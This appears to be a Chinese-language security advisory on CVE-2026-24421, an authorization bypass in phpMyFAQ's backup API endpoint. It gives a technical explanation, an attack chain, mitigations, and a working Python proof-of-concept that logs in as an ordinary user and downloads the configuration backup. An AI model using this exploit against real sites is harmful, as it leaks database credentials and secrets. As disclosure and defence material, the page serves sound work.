IPBUF安全漏洞报告
English
CVE-2026-24421 CVSS 6.5 中危

CVE-2026-24421 phpMyFAQ授权绕过漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-24421
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

授权绕过访问控制phpMyFAQCVE-2026-24421配置泄露CVSS 6.5Web应用漏洞权限验证缺失

漏洞概述

CVE-2026-24421是phpMyFAQ中的一个授权绕过漏洞。phpMyFAQ是一款开源的FAQ(常见问题解答)Web应用程序。该漏洞影响4.0.16及以下版本,源于授权逻辑缺陷。具体问题在于/api/setup/backup端点存在访问控制不当,任何经过身份验证的用户都可以访问该端点,而无需验证其是否具有管理员或配置权限。攻击者利用此漏洞可以触发配置备份功能,获取包含敏感信息的备份文件路径,从而可能导致配置数据、数据库凭证或其他敏感信息泄露。由于该应用通常部署在企业内部用于知识管理,攻击者获取的敏感信息可能被用于进一步横向移动或提权攻击。该漏洞的CVSS评分为6.5,属于中等严重程度,主要影响机密性。

技术细节

漏洞根源在于SetupController.php中的授权检查不完整。该控制器使用userIsAuthenticated()函数验证用户是否已登录,但仅执行了身份验证(Authentication),缺少授权验证(Authorization)。具体来说,端点未检查当前用户是否具有配置管理或管理员权限。攻击流程如下:1) 攻击者首先注册一个普通用户账号并登录系统;2) 攻击者构造针对/api/setup/backup端点的HTTP请求;3) 服务器端仅验证请求携带了有效的会话凭证,未检查用户权限级别;4) 服务器执行配置备份操作,生成包含敏感配置的ZIP文件;5) 服务器响应返回备份文件的路径或下载链接;6) 攻击者可通过该路径访问备份文件,获取数据库配置、管理员凭证等敏感信息。修复方案在版本4.0.17中增加了权限验证逻辑,确保只有具有管理员权限的用户才能访问备份功能。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用phpMyFAQ版本4.0.16或更低版本
STEP 2
步骤2
注册阶段:攻击者注册一个普通用户账号,无需管理员权限
STEP 3
步骤3
认证阶段:使用普通用户凭据登录系统,获取有效会话
STEP 4
步骤4
利用阶段:向/api/setup/backup端点发送GET请求,利用授权绕过漏洞
STEP 5
步骤5
获取备份:服务器返回备份文件路径,攻击者下载包含敏感配置的ZIP文件
STEP 6
步骤6
数据泄露:攻击者解压备份文件,获取数据库凭证、API密钥等敏感信息
STEP 7
步骤7
横向移动:利用获取的凭证进行进一步攻击,如数据库入侵或提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-24421 PoC - phpMyFAQ Authorization Bypass # Target: phpMyFAQ <= 4.0.16 # Endpoint: /api/setup/backup def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as regular user (non-admin) login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False print("[+] Login successful as regular user") # Step 2: Trigger backup endpoint (requires only authentication, not admin) backup_url = f"{target_url}/api/setup/backup" headers = { "Content-Type": "application/json" } response = session.get(backup_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Backup triggered successfully!") print(f"[+] Response: {data}") # Step 3: Extract and access backup file path if 'backup_url' in data or 'url' in data: backup_link = data.get('backup_url') or data.get('url') print(f"[+] Backup file URL: {backup_link}") # Step 4: Download the backup file download_response = session.get(backup_link, timeout=10) if download_response.status_code == 200: filename = "backup_leak.zip" with open(filename, 'wb') as f: f.write(download_response.content) print(f"[+] Backup file downloaded: {filename}") print("[!] Sensitive configuration data may be exposed") return True else: print(f"[-] Backup request failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://vulnerable-site.com user123 pass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

影响范围

phpMyFAQ < 4.0.17
phpMyFAQ <= 4.0.16

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用/api/setup/backup端点;2) 通过Web服务器配置(如Nginx/Apache)限制该端点仅允许管理员IP访问;3) 实施额外的应用层访问控制;4) 监控访问日志,识别异常的备份请求模式;5) 考虑使用网络分段,限制非授权用户对管理端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表